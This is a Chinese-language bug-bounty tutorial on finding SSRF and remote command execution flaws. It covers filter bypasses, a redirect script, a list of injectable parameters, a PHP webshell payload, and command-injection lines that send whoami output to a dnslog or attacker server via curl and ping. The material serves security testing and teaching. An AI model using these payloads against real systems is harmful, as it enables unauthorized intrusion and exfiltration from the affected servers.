【SRC】SSRF&RCE

SSRF服务器请求伪造

什么是ssrf

简介

SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统,因为服务器请求天然的可以穿越防火墙。漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作正确的过滤和限制。

Ssrf参数

以下是一些常见的SSRF漏洞参数:

url:通常用于指定需要访问的目标URL。https://baidu.com/?url=http://asd.com
file:用于指定需要读取的文件路径。https://baidu.com/?file=/etc/password
port:用于指定需要连接的目标端口号。
addr:用于指定需要访问的IP地址。
redirect:用于指定需要重定向到的URL地址。
ping:用于执行网络探测操作。
path:用于指定需要访问的系统文件路径。
ips:用于指定需要访问的多个IP地址。
host:用于指定需要访问的主机名。
proxy:用于指定代理服务器的地址和端口号。

请注意,这只是一些常见的参数,实际上还存在着许多其他的参数。同时,对于每个应用程序来说,它可能存在着特定的参数,因此在进行SSRF漏洞测试时,我们需要根据具体情况来尝试不同的参数。

主要是观察url链接里面是否有链接

比如
https://baidu.com/?asd=http://asd.com
https://baidu.com/?file=http://asd.com
https://baidu.com/?wz=http://asd.com
https://baidu.com/?host=http://asd.com
https://baidu.com/?ping=http://asd.com
https://baidu.com/?path=http://asd.com

ssrf的类型现在通常分为:

  1. 全回显型
  2. 无回显型的ssrf用处属实不大,也就不详讲了

重点关注

1.分享:通过URL地址分享网页内容
2.转码服务
3.在线翻译
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
6.未公开的api实现以及其他调用URL的功能
7.接口调用功能

image-20240415101913710

Ssrf练习

推荐靶场: https://portswigger.net/web-security/ssrf

Ssrf绕过

@符号绕过:

http://www.qq.com@www.baidu.com/

IP地址转换:

例如:120.26.86.156
二进制 = 1111000000110100101011010011100
十六进制 = 0x781A569C
十进制 = 2014992028

转换短网址:

https://www.xxx.xx/
例:http://www.xxx.xx/ = http://t.cn/ks69x

特殊符号替换绕过:

例:
http://www.baidu.com/ = http://www。baidu。com/
localhost或者0.0.0.0或0

302跳转绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
}
else {
header("Location: $schema://$ip:$port/$query");
}

xip.io绕过:会将解析到子域

http://10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io= 10.0.0.1
http://mysite.10.0.0.1.xip.io = 10.0.0.1
foo.http://bar.10.0.0.1.xip.io = 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1
www.10.0.0.2.xip.name resolves to 10.0.0.2
foo.10.0.0.3.xip.name resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4

利用Enclosed alphanumerics绕过:

利用Enclosed alphanumerics

1
2
3
4
5
6
7
8
9
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲
⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜
⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱
⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ
Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ
ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰
⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

其他协议绕过 :

配合File、
GOPHER等协议的对目标进行信息探测

特殊的SSRF

PDF ssrf

导出pdf地方可能存在ssrf,可以利用iframe标签插入进行测试

参考文章:https://zone.huoxian.cn/d/550-pdfhtmlxss-ssrf

远程图片加载+svg ssrf

参考文章:https://www.cnblogs.com/linuxsec/articles/10585639.html

另类ssrf

1
2
3
4
5
GET / HTTP/1.1
Host: www.xxxxxx.com
Pragma: no-cache
Cache-Control: no-cache,no-transform
Connection: close
1
2
3
4
5
GET http://xxxx.com HTTP/1.1
Host: www.xxxxxx.com
Pragma: no-cache
Cache-Control: no-cache,no-transform
Connection: close

RCE命令执行

RCE漏洞思路

远程代码执行(RCE)使攻击者能够通过注入攻击执行恶意代码。代码注入攻击与命令注入攻击不同。攻击者的成果取决于服务器端的限制,在某些情况下,攻击者可能能够从代码注入升级为命令注入。远程代码攻击可能会完全破坏易受攻击的Web应用程序以及Web服务器。需要注意的是,几乎每种编程语言都有代码执行函数。

文件上传

语言 可解析后缀
asp/aspx asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

常见可以命令执行的漏洞

  • Thinkphp rce
  • Log4j2
  • Fastjson反序列化
  • Weblogic
  • Imagemagick组件rce(CVE-2016-3714 )
  • GhostScript Rce
  • Shiro
  • Struts2

推荐文章:https://xz.aliyun.com/t/9628

一些挖掘rce常用的

Window下||&

Linux下||&;

Linux下过滤空格可以使用:${IFS},$IFS,$IFS$9

JSON格式下的测试:\u000awget\u0020 http://服务器地址

Linux下可以包括反引号,windows下不可以。

Linux下正常测试rce:
curl http://服务器地址/`whoami`
ping `whoami`.服务器地址

Window系统

ping|dir 执行dir命令

ipconfig||dir 执行ipconfig,但如果前面命令错误就会执行dir

ping&&dir 当ping执行完之后执行dir命令

linux系统

这里的话主要演示下|||,和上面差不多

&&&也是一样的

这里讲讲;号
dir;ping 这里不管前面命令命令对不对,都会执行ping,比如dir;ping;ls 正确命令都会执行,不正确就跳过

重点关注

重点关注这些参数,这是比较常见容易导致命令执行的参数,可以利用拼接的方式进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
exec={payload}          payload={payload}
command={payload} run={payload}
execute{payload} print={payload}
ping={payload} email={payload}
include={payload} id={payload}
exclude={payload} username={payload}
jump={payload} user={payload}
code={payload} to={payload}
reg={payload} from={payload}
do={payload} search={payload}
func={payload} query={payload}
arg={payload} q={payload}
option={payload} s={payload}
load={payload} shopId={payload}
process={payload} blogId={payload}
step={payload} phone={payload}
read={payload} mode={payload}
function={payload} next={payload}
req={payload} firstname={payload}
feature={payload} lastname={payload}
exe={payload} locale={payload}
module={payload} cmd={payload}
system={payload} sys={payload}

文件上传-重命名

当上传一个文件的时候如果有参数更改文件名的时候,就要想到是不是调用cmd去重置文件名

1
2
rename 123.jpg 333.jpg
rename 123.jpg;;ping baidu.com 333.jpg

数组可控导致的rce

感谢修君提供的案例来源:https://xz.aliyun.com/t/10391

可上传文件名被直接带入数据包中

20211018171423-c8faa7b0-2ff3-1

此处猜测后端将文件名以数组的方式进行控制(在拿到webshell后也证明了这个猜想是正确的)

将可上传的文件名加入php,随后上传拿到Webshell

查看对应配置文件,发现可上传后缀名是在数组当中,此处还可以利用插入闭合数组进行Getshell

1
payload:siteName=11111').phpinfo();//

20211018171448-d7cf9a48-2ff3-1

来看看后端如何处理的,因为return array的原因 必须加上字符串连接符”.”

20211018171459-de04eae4-2ff3-1

再登陆后台查看Payload是否执行

20211018171509-e43b6e6a-2ff3-1

ping命令导致RCE

点击硬件诊断功能,发现数据包会对内网地址探活。

看到ping的字眼就要注意了,这个包很明显就是在ping 192.168.5.1这个包,把192.168.5.1改成
192.168.5.1|curl `whoami`.vi50t3.dnslog.cn 看看会怎么样

image-20240415164155126

image-20240415164207990

播放文件导致rce

这是试听语音的一个功能,但是点击试听返回的数据包有点不正常。

image-20240415163955633

一般的这种文件返回的是下面的格式,但是它返回OK,说明这个是一个接口,拆测后端是在读取这个文件。

image-20240415164026359

于是拼接了命令, 成功执行

1
GET /testapi/try_hear/12323.wav | ping `whoami`.xxx.dnslog.cn HTTP/1.1